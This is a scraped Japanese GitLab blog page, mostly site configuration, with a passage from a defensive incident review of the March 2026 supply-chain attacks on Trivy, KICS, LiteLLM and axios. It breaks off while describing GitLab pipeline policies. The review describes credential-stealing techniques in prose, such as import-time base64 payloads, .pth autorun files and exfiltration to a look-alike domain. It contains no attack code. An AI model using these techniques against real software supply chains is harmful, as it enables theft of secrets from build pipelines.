[GitLab Ultimateの無料トライアル](https://about.gitlab.com/ja-jp/free-trial/)に登録して、独自の検知テストフレームワークを構築してみてください。\n  authors:\n    - Evan Baltman\n  updatedDate: 2026-05-01\n  date: 2026-04-30\n  title: GitLab CI/CDとDuoで自動検知テストフレームワークを構築する\n  tags:\n    - security\n    - security research\n    - features\n  description: GitLabのSignals\n    Engineeringチームが構築したWATCHフレームワークを通じて、セキュリティ監視パイプラインを継続的に検証する方法をご紹介します。\n  category: security-labs\nconfig:\n  featured: true\n  template: BlogPost\n  slug: automated-detection-testing-framework\n",{"config":32,"title":34,"description":35,"ogImage":36},{"noIndex":33},false,"GitLab CI/CDとDuoで検知テストを自動化する","GitLabのSignals Engineingチームが構築したWATCHフレームワークを通じて、セキュリティ監視パイプラインを継続的に検証する方法をご紹介します。セキュリティ運用センター（SOC）の検知品質を維持するための実践的アプローチです。","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1772195014/ooezwusxjl1f7ijfmbvj.webp","ja-jp/blog/automated-detection-testing-framework",[22,39,24],"security-research",[22,23,24],"Rq7jKWDbZ02EuHyO11JSG-qVTLjEJBJffBGn8vH2_10",{"logo":43,"freeTrial":48,"sales":53,"login":58,"items":63,"search":383,"minimal":416,"duo":433,"switchNav":442,"pricingDeployment":453},{"config":44},{"href":45,"dataGaName":46,"dataGaLocation":47},"/ja-jp/","gitlab logo","header",{"text":49,"config":50},"無料トライアルを開始",{"href":51,"dataGaName":52,"dataGaLocation":47},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp&glm_content=default-saas-trial/","free trial",{"text":54,"config":55},"お問い合わせ",{"href":56,"dataGaName":57,"dataGaLocation":47},"/ja-jp/sales/","sales",{"text":59,"config":60},"サインイン",{"href":61,"dataGaName":62,"dataGaLocation":47},"https://gitlab.com/users/sign_in/","sign in",[64,93,195,200,303,364],{"text":65,"config":66,"menu":68},"プラットフォーム",{"dataNavLevelOne":67},"platform",{"type":69,"columns":70},"cards",[71,77,85],{"title":65,"description":72,"link":73},"DevSecOpsに特化したインテリジェントオーケストレーションプラットフォーム",{"text":74,"config":75},"プラットフォームを探索",{"href":76,"dataGaName":67,"dataGaLocation":47},"/ja-jp/platform/",{"title":78,"description":79,"link":80},"GitLab Duo Agent Platform","ソフトウェアライフサイクル全体を支えるエージェント型AI",{"text":81,"config":82},"GitLab Duoのご紹介",{"href":83,"dataGaName":84,"dataGaLocation":47},"/ja-jp/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":86,"description":87,"link":88},"GitLabが選ばれる理由","エンタープライズがGitLabを選ぶ主な理由をご覧ください",{"text":89,"config":90},"詳細はこちら",{"href":91,"dataGaName":92,"dataGaLocation":47},"/ja-jp/why-gitlab/","why gitlab",{"text":94,"left":13,"config":95,"menu":97},"製品",{"dataNavLevelOne":96},"solutions",{"type":98,"link":99,"columns":103,"feature":174},"lists",{"text":100,"config":101},"すべてのソリューションを表示",{"href":102,"dataGaName":96,"dataGaLocation":47},"/ja-jp/solutions/",[104,129,152],{"title":105,"description":106,"link":107,"items":112},"自動化","CI/CDと自動化でデプロイを加速",{"config":108},{"icon":109,"href":110,"dataGaName":111,"dataGaLocation":47},"AutomatedCodeAlt","/ja-jp/solutions/delivery-automation/","automated software delivery",[113,117,120,125],{"text":114,"config":115},"CI/CD",{"href":116,"dataGaLocation":47,"dataGaName":114},"/ja-jp/solutions/continuous-integration/",{"text":78,"config":118},{"href":83,"dataGaLocation":47,"dataGaName":119},"gitlab duo agent platform - product menu",{"text":121,"config":122},"ソースコード管理",{"href":123,"dataGaLocation":47,"dataGaName":124},"/ja-jp/solutions/source-code-management/","Source Code Management",{"text":126,"config":127},"自動化されたソフトウェアデリバリー",{"href":110,"dataGaLocation":47,"dataGaName":128},"Automated software delivery",{"title":130,"description":131,"link":132,"items":137},"セキュリティ","セキュリティを犠牲にすることなくコード作成を高速化",{"config":133},{"href":134,"dataGaName":135,"dataGaLocation":47,"icon":136},"/ja-jp/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[138,142,147],{"text":139,"config":140},"アプリケーションセキュリティテスト",{"href":134,"dataGaName":141,"dataGaLocation":47},"Application security testing",{"text":143,"config":144},"ソフトウェアサプライチェーンの安全性",{"href":145,"dataGaLocation":47,"dataGaName":146},"/ja-jp/solutions/supply-chain/","Software supply chain security",{"text":148,"config":149},"ソフトウェアコンプライアンス",{"href":150,"dataGaName":151,"dataGaLocation":47},"/ja-jp/solutions/software-compliance/","software compliance",{"title":153,"link":154,"items":159},"測定",{"config":155},{"icon":156,"href":157,"dataGaName":158,"dataGaLocation":47},"DigitalTransformation","/ja-jp/solutions/visibility-measurement/","visibility and measurement",[160,164,169],{"text":161,"config":162},"可視性と測定",{"href":157,"dataGaLocation":47,"dataGaName":163},"Visibility and Measurement",{"text":165,"config":166},"バリューストリーム管理",{"href":167,"dataGaLocation":47,"dataGaName":168},"/ja-jp/solutions/value-stream-management/","Value Stream Management",{"text":170,"config":171},"分析とインサイト",{"href":172,"dataGaLocation":47,"dataGaName":173},"/ja-jp/solutions/analytics-and-insights/","Analytics and insights",{"title":175,"type":98,"items":176},"GitLabが活躍する場所",[177,183,189],{"text":178,"config":179},"エンタープライズ",{"icon":180,"href":181,"dataGaLocation":47,"dataGaName":182},"Building","/ja-jp/enterprise/","enterprise",{"text":184,"config":185},"スモールビジネス",{"icon":186,"href":187,"dataGaLocation":47,"dataGaName":188},"Work","/ja-jp/small-business/","small business",{"text":190,"config":191},"公共部門",{"icon":192,"href":193,"dataGaLocation":47,"dataGaName":194},"Organization","/ja-jp/solutions/public-sector/","public sector",{"text":196,"config":197},"価格",{"href":198,"dataGaName":199,"dataGaLocation":47,"dataNavLevelOne":199},"/ja-jp/pricing/","pricing",{"text":201,"config":202,"menu":204},"リソース",{"dataNavLevelOne":203},"resources",{"type":98,"link":205,"columns":209,"feature":289},{"text":206,"config":207},"すべてのリソースを表示",{"href":208,"dataGaName":203,"dataGaLocation":47},"/ja-jp/resources/",[210,243,261],{"title":211,"items":212},"はじめに",[213,218,223,228,233,238],{"text":214,"config":215},"インストール",{"href":216,"dataGaName":217,"dataGaLocation":47},"/ja-jp/install/","install",{"text":219,"config":220},"クイックスタートガイド",{"href":221,"dataGaName":222,"dataGaLocation":47},"/ja-jp/get-started/","quick setup checklists",{"text":224,"config":225},"学ぶ",{"href":226,"dataGaLocation":47,"dataGaName":227},"https://university.gitlab.com/","learn",{"text":229,"config":230},"製品ドキュメント",{"href":231,"dataGaName":232,"dataGaLocation":47},"https://docs.gitlab.com/ja-jp/","product documentation",{"text":234,"config":235},"ベストプラクティスビデオ",{"href":236,"dataGaName":237,"dataGaLocation":47},"/ja-jp/getting-started-videos/","best practice videos",{"text":239,"config":240},"インテグレーション",{"href":241,"dataGaName":242,"dataGaLocation":47},"/ja-jp/integrations/","integrations",{"title":244,"items":245},"検索する",[246,251,256],{"text":247,"config":248},"お客様成功事例",{"href":249,"dataGaName":250,"dataGaLocation":47},"/ja-jp/customers/","customer success stories",{"text":252,"config":253},"ブログ",{"href":254,"dataGaName":255,"dataGaLocation":47},"/ja-jp/blog/","blog",{"text":257,"config":258},"リモート",{"href":259,"dataGaName":260,"dataGaLocation":47},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":262,"items":263},"つなげる",[264,269,274,279,284],{"text":265,"config":266},"GitLabサービス",{"href":267,"dataGaName":268,"dataGaLocation":47},"/ja-jp/services/","services",{"text":270,"config":271},"コミュニティ",{"href":272,"dataGaName":273,"dataGaLocation":47},"/community/","community",{"text":275,"config":276},"フォーラム",{"href":277,"dataGaName":278,"dataGaLocation":47},"https://forum.gitlab.com/","forum",{"text":280,"config":281},"イベント",{"href":282,"dataGaName":283,"dataGaLocation":47},"/events/","events",{"text":285,"config":286},"パートナー",{"href":287,"dataGaName":288,"dataGaLocation":47},"/ja-jp/partners/","partners",{"config":290,"text":293,"image":294,"link":298},{"background":291,"textColor":292},"#2f2a6b","#fff","ソフトウェア開発の未来への洞察",{"altText":295,"config":296},"ソースプロモカード",{"src":297},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":299,"config":300},"最新情報を読む",{"href":301,"dataGaName":302,"dataGaLocation":47},"/ja-jp/the-source/","the source",{"text":304,"config":305,"menu":307},"会社情報",{"dataNavLevelOne":306},"company",{"type":98,"columns":308},[309],{"items":310},[311,316,322,324,329,334,339,344,349,354,359],{"text":312,"config":313},"GitLabについて",{"href":314,"dataGaName":315,"dataGaLocation":47},"/ja-jp/company/","about",{"text":317,"config":318,"footerGa":321},"採用情報",{"href":319,"dataGaName":320,"dataGaLocation":47},"/jobs/","jobs",{"dataGaName":320},{"text":280,"config":323},{"href":282,"dataGaName":283,"dataGaLocation":47},{"text":325,"config":326},"経営陣",{"href":327,"dataGaName":328,"dataGaLocation":47},"/company/team/e-group/","leadership",{"text":330,"config":331},"チーム",{"href":332,"dataGaName":333,"dataGaLocation":47},"/company/team/","team",{"text":335,"config":336},"ハンドブック",{"href":337,"dataGaName":338,"dataGaLocation":47},"https://handbook.gitlab.com/","handbook",{"text":340,"config":341},"投資家向け情報",{"href":342,"dataGaName":343,"dataGaLocation":47},"https://ir.gitlab.com/","investor relations",{"text":345,"config":346},"トラストセンター",{"href":347,"dataGaName":348,"dataGaLocation":47},"/ja-jp/security/","trust center",{"text":350,"config":351},"AI Transparency Center",{"href":352,"dataGaName":353,"dataGaLocation":47},"/ja-jp/ai-transparency-center/","ai transparency center",{"text":355,"config":356},"ニュースレター",{"href":357,"dataGaName":358,"dataGaLocation":47},"/company/contact/#contact-forms","newsletter",{"text":360,"config":361},"プレス",{"href":362,"dataGaName":363,"dataGaLocation":47},"/press/","press",{"text":54,"config":365,"menu":366},{"dataNavLevelOne":306},{"type":98,"columns":367},[368],{"items":369},[370,373,378],{"text":54,"config":371},{"href":56,"dataGaName":372,"dataGaLocation":47},"talk to sales",{"text":374,"config":375},"サポートを受ける",{"href":376,"dataGaName":377,"dataGaLocation":47},"https://support.gitlab.com","support portal",{"text":379,"config":380},"カスタマーポータル",{"href":381,"dataGaName":382,"dataGaLocation":47},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":384,"login":385,"suggestions":392},"閉じる",{"text":386,"link":387},"リポジトリとプロジェクトを検索するには、次にログインします",{"text":388,"config":389},"GitLab.com",{"href":61,"dataGaName":390,"dataGaLocation":391},"search login","search",{"text":393,"default":394},"提案",[395,397,402,404,408,412],{"text":78,"config":396},{"href":83,"dataGaName":78,"dataGaLocation":391},{"text":398,"config":399},"コード提案（AI）",{"href":400,"dataGaName":401,"dataGaLocation":391},"/ja-jp/solutions/code-suggestions/","Code Suggestions (AI)",{"text":114,"config":403},{"href":116,"dataGaName":114,"dataGaLocation":391},{"text":405,"config":406},"GitLab on AWS",{"href":407,"dataGaName":405,"dataGaLocation":391},"/ja-jp/partners/technology-partners/aws/",{"text":409,"config":410},"GitLab on Google Cloud",{"href":411,"dataGaName":409,"dataGaLocation":391},"/ja-jp/partners/technology-partners/google-cloud-platform/",{"text":413,"config":414},"GitLabを選ぶ理由",{"href":91,"dataGaName":415,"dataGaLocation":391},"Why GitLab?",{"freeTrial":417,"mobileIcon":421,"desktopIcon":426,"secondaryButton":429},{"text":49,"config":418},{"href":419,"dataGaName":52,"dataGaLocation":420},"https://gitlab.com/-/trials/new/","nav",{"altText":422,"config":423},"GitLabアイコン",{"src":424,"dataGaName":425,"dataGaLocation":420},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":422,"config":427},{"src":428,"dataGaName":425,"dataGaLocation":420},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":211,"config":430},{"href":431,"dataGaName":432,"dataGaLocation":420},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/get-started/","get started",{"freeTrial":434,"mobileIcon":438,"desktopIcon":440},{"text":435,"config":436},"GitLab Duoの詳細について",{"href":83,"dataGaName":437,"dataGaLocation":420},"gitlab duo",{"altText":422,"config":439},{"src":424,"dataGaName":425,"dataGaLocation":420},{"altText":422,"config":441},{"src":428,"dataGaName":425,"dataGaLocation":420},{"button":443,"mobileIcon":448,"desktopIcon":450},{"text":444,"config":445},"/switch",{"href":446,"dataGaName":447,"dataGaLocation":420},"#contact","switch",{"altText":422,"config":449},{"src":424,"dataGaName":425,"dataGaLocation":420},{"altText":422,"config":451},{"src":452,"dataGaName":425,"dataGaLocation":420},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":454,"mobileIcon":459,"desktopIcon":461},{"text":455,"config":456},"価格ページに戻る",{"href":198,"dataGaName":457,"dataGaLocation":420,"icon":458},"back to pricing","GoBack",{"altText":422,"config":460},{"src":424,"dataGaName":425,"dataGaLocation":420},{"altText":422,"config":462},{"src":428,"dataGaName":425,"dataGaLocation":420},{"title":464,"button":465,"config":470},"エージェント型AIがソフトウェア配信をどのように変革するかをご覧ください",{"text":466,"config":467},"GitLab Transcendを今すぐ視聴",{"href":468,"dataGaName":469,"dataGaLocation":47},"/ja-jp/events/transcend/virtual/","transcend event",{"layout":471,"icon":472,"disabled":13},"release","AiStar",{"data":474},{"text":475,"source":476,"edit":482,"contribute":487,"config":492,"items":497,"minimal":700},"GitはSoftware Freedom Conservancyの商標です。当社は「GitLab」をライセンスに基づいて使用しています",{"text":477,"config":478},"ページのソースを表示",{"href":479,"dataGaName":480,"dataGaLocation":481},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":483,"config":484},"このページを編集",{"href":485,"dataGaName":486,"dataGaLocation":481},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":488,"config":489},"ご協力をお願いします",{"href":490,"dataGaName":491,"dataGaLocation":481},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":493,"facebook":494,"youtube":495,"linkedin":496},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[498,543,596,639,666],{"title":196,"links":499,"subMenu":514},[500,504,509],{"text":501,"config":502},"プランの表示",{"href":198,"dataGaName":503,"dataGaLocation":481},"view plans",{"text":505,"config":506},"Premiumを選ぶ理由",{"href":507,"dataGaName":508,"dataGaLocation":481},"/ja-jp/pricing/premium/","why premium",{"text":510,"config":511},"Ultimateを選ぶ理由",{"href":512,"dataGaName":513,"dataGaLocation":481},"/ja-jp/pricing/ultimate/","why ultimate",[515],{"title":54,"links":516},[517,519,521,523,528,533,538],{"text":54,"config":518},{"href":56,"dataGaName":57,"dataGaLocation":481},{"text":374,"config":520},{"href":376,"dataGaName":377,"dataGaLocation":481},{"text":379,"config":522},{"href":381,"dataGaName":382,"dataGaLocation":481},{"text":524,"config":525},"ステータス",{"href":526,"dataGaName":527,"dataGaLocation":481},"https://status.gitlab.com/","status",{"text":529,"config":530},"利用規約",{"href":531,"dataGaName":532,"dataGaLocation":481},"/terms/","terms of use",{"text":534,"config":535},"プライバシーに関する声明",{"href":536,"dataGaName":537,"dataGaLocation":481},"/ja-jp/privacy/","privacy statement",{"text":539,"config":540},"Cookie 優先設定",{"dataGaName":541,"dataGaLocation":481,"id":542,"isOneTrustButton":13},"cookie preferences","ot-sdk-btn",{"title":94,"links":544,"subMenu":553},[545,549],{"text":546,"config":547},"DevSecOpsプラットフォーム",{"href":76,"dataGaName":548,"dataGaLocation":481},"devsecops platform",{"text":550,"config":551},"AI支援開発",{"href":83,"dataGaName":552,"dataGaLocation":481},"ai-assisted development",[554],{"title":555,"links":556},"トピック",[557,561,566,571,576,581,586,591],{"text":114,"config":558},{"href":559,"dataGaName":560,"dataGaLocation":481},"/ja-jp/topics/ci-cd/","cicd",{"text":562,"config":563},"GitOps",{"href":564,"dataGaName":565,"dataGaLocation":481},"/ja-jp/topics/gitops/","gitops",{"text":567,"config":568},"DevOps",{"href":569,"dataGaName":570,"dataGaLocation":481},"/ja-jp/topics/devops/","devops",{"text":572,"config":573},"バージョン管理",{"href":574,"dataGaName":575,"dataGaLocation":481},"/ja-jp/topics/version-control/","version control",{"text":577,"config":578},"DevSecOps",{"href":579,"dataGaName":580,"dataGaLocation":481},"/ja-jp/topics/devsecops/","devsecops",{"text":582,"config":583},"クラウドネイティブ",{"href":584,"dataGaName":585,"dataGaLocation":481},"/ja-jp/topics/cloud-native/","cloud native",{"text":587,"config":588},"コーディングのためのAI",{"href":589,"dataGaName":590,"dataGaLocation":481},"/ja-jp/topics/devops/ai-for-coding/","ai for coding",{"text":592,"config":593},"エージェント型AI",{"href":594,"dataGaName":595,"dataGaLocation":481},"/ja-jp/topics/agentic-ai/","agentic ai",{"title":597,"links":598},"ソリューション",[599,602,604,609,613,616,619,622,624,626,629,634],{"text":139,"config":600},{"href":134,"dataGaName":601,"dataGaLocation":481},"Application Security Testing",{"text":126,"config":603},{"href":110,"dataGaName":111,"dataGaLocation":481},{"text":605,"config":606},"アジャイル開発",{"href":607,"dataGaName":608,"dataGaLocation":481},"/ja-jp/solutions/agile-delivery/","agile delivery",{"text":610,"config":611},"SCM",{"href":123,"dataGaName":612,"dataGaLocation":481},"source code management",{"text":114,"config":614},{"href":116,"dataGaName":615,"dataGaLocation":481},"continuous integration & delivery",{"text":165,"config":617},{"href":167,"dataGaName":618,"dataGaLocation":481},"value stream management",{"text":562,"config":620},{"href":621,"dataGaName":565,"dataGaLocation":481},"/ja-jp/solutions/gitops/",{"text":178,"config":623},{"href":181,"dataGaName":182,"dataGaLocation":481},{"text":184,"config":625},{"href":187,"dataGaName":188,"dataGaLocation":481},{"text":627,"config":628},"公共機関",{"href":193,"dataGaName":194,"dataGaLocation":481},{"text":630,"config":631},"教育",{"href":632,"dataGaName":633,"dataGaLocation":481},"/ja-jp/solutions/education/","education",{"text":635,"config":636},"金融サービス",{"href":637,"dataGaName":638,"dataGaLocation":481},"/ja-jp/solutions/finance/","financial services",{"title":201,"links":640},[641,643,645,647,650,652,654,656,658,660,662,664],{"text":214,"config":642},{"href":216,"dataGaName":217,"dataGaLocation":481},{"text":219,"config":644},{"href":221,"dataGaName":222,"dataGaLocation":481},{"text":224,"config":646},{"href":226,"dataGaName":227,"dataGaLocation":481},{"text":229,"config":648},{"href":231,"dataGaName":649,"dataGaLocation":481},"docs",{"text":252,"config":651},{"href":254,"dataGaName":255,"dataGaLocation":481},{"text":247,"config":653},{"href":249,"dataGaName":250,"dataGaLocation":481},{"text":257,"config":655},{"href":259,"dataGaName":260,"dataGaLocation":481},{"text":265,"config":657},{"href":267,"dataGaName":268,"dataGaLocation":481},{"text":270,"config":659},{"href":272,"dataGaName":273,"dataGaLocation":481},{"text":275,"config":661},{"href":277,"dataGaName":278,"dataGaLocation":481},{"text":280,"config":663},{"href":282,"dataGaName":283,"dataGaLocation":481},{"text":285,"config":665},{"href":287,"dataGaName":288,"dataGaLocation":481},{"title":304,"links":667},[668,670,672,674,676,678,680,684,689,691,693,695],{"text":312,"config":669},{"href":314,"dataGaName":306,"dataGaLocation":481},{"text":317,"config":671},{"href":319,"dataGaName":320,"dataGaLocation":481},{"text":325,"config":673},{"href":327,"dataGaName":328,"dataGaLocation":481},{"text":330,"config":675},{"href":332,"dataGaName":333,"dataGaLocation":481},{"text":335,"config":677},{"href":337,"dataGaName":338,"dataGaLocation":481},{"text":340,"config":679},{"href":342,"dataGaName":343,"dataGaLocation":481},{"text":681,"config":682},"Sustainability",{"href":683,"dataGaName":681,"dataGaLocation":481},"/sustainability/",{"text":685,"config":686},"ダイバーシティ、インクルージョン、ビロンギング（DIB）",{"href":687,"dataGaName":688,"dataGaLocation":481},"/ja-jp/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":345,"config":690},{"href":347,"dataGaName":348,"dataGaLocation":481},{"text":355,"config":692},{"href":357,"dataGaName":358,"dataGaLocation":481},{"text":360,"config":694},{"href":362,"dataGaName":363,"dataGaLocation":481},{"text":696,"config":697},"現代奴隷制の透明性に関する声明",{"href":698,"dataGaName":699,"dataGaLocation":481},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":701},[702,704,707],{"text":529,"config":703},{"href":531,"dataGaName":532,"dataGaLocation":481},{"text":705,"config":706},"Cookieの設定",{"dataGaName":541,"dataGaLocation":481,"id":542,"isOneTrustButton":13},{"text":534,"config":708},{"href":536,"dataGaName":537,"dataGaLocation":481},[710],{"id":711,"title":9,"body":27,"config":712,"content":714,"description":27,"extension":26,"meta":719,"navigation":13,"path":720,"seo":721,"stem":722,"__hash__":723},"blogAuthors/en-us/blog/authors/evan-baltman.yml",{"template":713},"BlogAuthor",{"name":9,"config":715},{"headshot":716,"socialProof":717},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1777579628/fkgn1kh0c1ndgba9yrkq.png",{"gitlabHandle":718},"ebaltman",{},"/en-us/blog/authors/evan-baltman",{},"en-us/blog/authors/evan-baltman","lIHS0uxztwtRrA-cy594VFaaYQp9r_oqQeUFF1B8eTU",[725,740],{"content":726,"config":738},{"heroImage":727,"body":728,"authors":729,"updatedDate":731,"date":732,"title":733,"tags":734,"description":737,"category":11},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","***注：GitLab製品は、本記事で言及されている侵害されたパッケージバージョンを使用していませんでした。***\n\nわずか12日間で4件の独立したサプライチェーン攻撃が発生し、継続的インテグレーション／継続的デリバリー（CI/CD）パイプラインが高度な脅威アクターにとって格好の標的となっていることが明らかになりました。\n\n2026年3月19日から31日にかけて、脅威アクターは以下のツールを侵害しました。\n\n* オープンソースのセキュリティスキャナー（Trivy）\n* Infrastructure as Code（IaC）セキュリティスキャナー（Checkmarx KICS）\n* AIモデルゲートウェイ（LiteLLM）\n* JavaScript HTTPクライアント（axios）\n\nいずれの攻撃も同じ侵入口を狙っていました。それがビルドパイプラインです。\n本記事では、何が起きたのか、なぜパイプラインが特に脆弱なのか、そしてGitLabの集中型ポリシー適用（以下で定義するポリシーを使用）が、これらの攻撃パターンを本番環境に到達する前にブロック・検出・封じ込める方法を解説します。\n\n## 数百万人が信頼するツールが、わずか数分で侵害された\n\nサプライチェーン攻撃のタイムラインは以下のとおりです。\n\n### 3月19日：Trivyセキュリティスキャナーが攻撃のベクターに\n\n[Trivy](https://github.com/aquasecurity/trivy)は、世界で最も広く使われているオープンソースの脆弱性スキャナーの1つです。脆弱性を検出するために*パイプライン内*で実行されるツールです。\n\n3月19日、TeamPCPと呼ばれる脅威アクターグループが[侵害された認証情報を使用し](https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/)、`aquasecurity/trivy-action` GitHub Actionの76バージョンタグ（全77件中）および`aquasecurity/setup-trivy`の全7タグに悪意のあるコードをforce-pushしました。同時に、トロイの木馬化されたTrivyバイナリ（v0.69.4）が公式配布チャネルに公開されました。このペイロードは認証情報を窃取するマルウェアで、Trivyスキャンを実行したすべてのパイプラインから環境変数、クラウドトークン、SSHキー、CI/CDシークレットを収集しました。\n\nこのインシデントには[CVE-2026-33634](https://nvd.nist.gov/vuln/detail/CVE-2026-33634)が割り当てられ、CVSSスコアは9.4でした。米国サイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）は数日以内にこれを既知の悪用済み脆弱性カタログに追加しました。\n\n### 3月23日：次はCheckmarx KICSが標的に\n\nTeamPCPは窃取した認証情報を使い、CheckmarxのオープンソースプロジェクトであるKICS（Keeping Infrastructure as Code Secure）に攻撃対象を移しました。`ast-github-action`および`kics-github-action` GitHub Actionに[同じ認証情報窃取マルウェアを注入し](https://thehackernews.com/2026/03/teampcp-hacks-checkmarx-github-actions.html)、3月23日の12:58〜16:50 UTCの間、これらのアクションを参照するCI/CDパイプラインはすべて、APIキー、データベースパスワード、クラウドアクセストークン、SSHキー、サービスアカウントの認証情報などの機密データを密かに外部に送信していました。\n\n### 3月24日：Trivyの侵害された認証情報を経由してLiteLLMも被害を受ける\n\n月間9,500万ダウンロードのLLM APIプロキシであるLiteLLMが次の標的になりました。TeamPCPは、TrivyでスキャンしていたLiteLLM自身のCI/CDパイプラインから収集した認証情報を使用し、PyPIにバックドアを仕込んだバージョン（1.82.7および1.82.8）を[公開しました](https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html)。\n\nバージョン1.82.7を標的としたマルウェアは、`litellm/proxy/proxy_server.py`にインポート時に実行されるbase64エンコードされたペイロードを直接注入していました。バージョン1.82.8を標的としたものは、Pythonインタープリタ起動時に自動実行される`.pth`ファイルを使用していました。LiteLLMをインストールするだけでペイロードが起動してしまう仕組みです。攻撃者は窃取したデータ（SSHキー、クラウドトークン、.envファイル、暗号資産ウォレット）を暗号化し、本物のドメインに似せた`models.litellm.cloud`に外部送信しました。\n\n### 3月31日：単純なパッケージングミスがAIコーディングアシスタントのソースコードを流出させる\n\nTeamPCPの攻撃キャンペーンがまだ続く中、あるソフトウェア企業が59.8 MBのソースマップファイルを含むnpmパッケージを公開してしまいました。そのファイルには、AIコーディングアシスタントの完全な未縮小TypeScriptソースコードへの参照が含まれており、自社のCloudflare R2バケットでホストされていました。\n\nこの流出により、1,900のTypeScriptファイル、512,000行以上のコード、44の隠し機能フラグ、未公開のモデルコードネーム、そして知る人ぞ知る場所へのアクセス方法を知っていれば誰でも確認できるシステムプロンプトの全文が公開されてしまいました。エンジニアの[Gabriel Anhaia氏が解説したように](https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo)、「`.npmignore`またはpackage.jsonのfilesフィールドの設定ミスが1つあるだけで、すべてが露出してしまいます」。\n\n### 3月31日：axiosとサプライチェーンへのもう1つのトロイの木馬\n\n同日、週間1億ダウンロード超のJavaScript HTTPクライアントであるaxios npmパッケージを狙った[高度なキャンペーンが実行されました](https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html)。\n\n侵害されたメンテナーアカウントによりバックドアを仕込んだバージョン（1.14.1および0.30.4）が公開されました。悪意のある依存関係（`plain-crypto-js@4.2.1`）が注入され、macOS、Windows、Linuxで動作するリモートアクセス型トロイの木馬（RAT）がデプロイされました。2つのリリースブランチともに39分以内に感染し、マルウェアは実行後に自己消去するよう設計されていました。\n\n## これらの攻撃に潜む共通パターン\n\n5件のインシデントを通じて、3つの明確な攻撃パターンが浮かび上がってきます。いずれもCI/CDパイプラインがその入力に対して暗黙的に持つ信頼を悪用するものです。\n\n### パターン1：汚染されたツールとアクション\n\nTeamPCPのキャンペーンは、ある根本的な前提を突いていました。それは、パイプライン*内*で実行されるセキュリティツール自体は信頼できるという思い込みです。GitHubアクションのタグやPyPIパッケージのバージョンが悪意のあるコードに解決された場合、パイプラインはそれを環境シークレット、クラウド認証情報、デプロイトークンへのフルアクセス権限で実行してしまいます。パイプラインはタグを信頼するため、検証ステップが存在しないのです。\n\n**推奨されるパイプラインレベルの対策：** 可変バージョンタグではなく、不変の参照（コミットSHAまたはイメージダイジェスト）にツールとアクションをピン留めしてください。ピン留めが現実的でない場合は、既知の正常なチェックサムまたは署名に対してツールと依存関係の整合性を検証してください。検証に失敗した場合は実行をブロックします。\n\n### パターン2：知的財産（IP）を漏洩するパッケージング設定ミス\n\n設定ミスのあるビルドパイプラインが、デバッグ成果物をそのまま本番パッケージに含めて出荷してしまいました。`.npmignore`またはpackage.jsonのfilesフィールドの設定ミスが1つあれば十分です。公開前の検証ステップを設けておけば、こうした問題は毎回防ぐことができます。\n\n**推奨されるパイプラインレベルの対策：** パッケージを公開する前に、パッケージの内容を許可リストに対して検証し、予期しないファイル（ソースマップ、内部設定ファイル、.envファイル）をフラグとして検出し、チェックに失敗した場合は公開ステップをブロックする自動チェックを実行してください。\n\n### パターン3：推移的依存関係の脆弱性\n\naxiosへの攻撃は、axiosを直接使用しているユーザーだけでなく、依存関係ツリーが侵害されたバージョンに解決されるすべてのユーザーを標的にしました。ロックファイル内で一度依存関係が汚染されると、組織全体のビルドインフラに波及する可能性があります。\n\n**推奨されるパイプラインレベルの対策：** 依存関係のチェックサムを既知の正常なロックファイルの状態と比較してください。予期しない新しい依存関係やバージョン変更を検出し、未検証のパッケージを導入するビルドをブロックします。\n\n## GitLabパイプライン実行ポリシーによる各攻撃パターンへの対処\n\nGitLabパイプライン実行ポリシー（[PEP](https://docs.gitlab.com/ja-jp/user/application_security/policies/pipeline_execution_policies/)）は、セキュリティチームおよびプラットフォームチームが、開発者が`.gitlab-ci.yml`で定義した内容に関わらず、組織全体のすべてのパイプラインに必須のCI/CDジョブを注入できる仕組みです。PEPで定義されたジョブは、`[skip ci]`や`[no_pipeline]`ディレクティブを使ってもスキップできません。ジョブは開発者のパイプラインを前後から挟む*予約済み*ステージ（`.pipeline-policy-pre`および`.pipeline-policy-post`）で実行できます。\n\n3つのパターンすべてに対応するパイプライン実行ポリシーをオープンソースプロジェクトとして公開しています：[Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)。これらのポリシーは独立してデプロイ可能で、それぞれテスト用の違反サンプルが同梱されています。各ポリシーの仕組みをご紹介します。\n\n### ユースケース1：パッケージ公開時の意図しない情報露出を防ぐ\n\n**問題：** ビルドパイプラインが公開時の検証をスキップしたため、ソースマップファイルがAIコーディングツールのnpmパッケージに含まれてしまいました。\n\n**PEPによるアプローチ：** 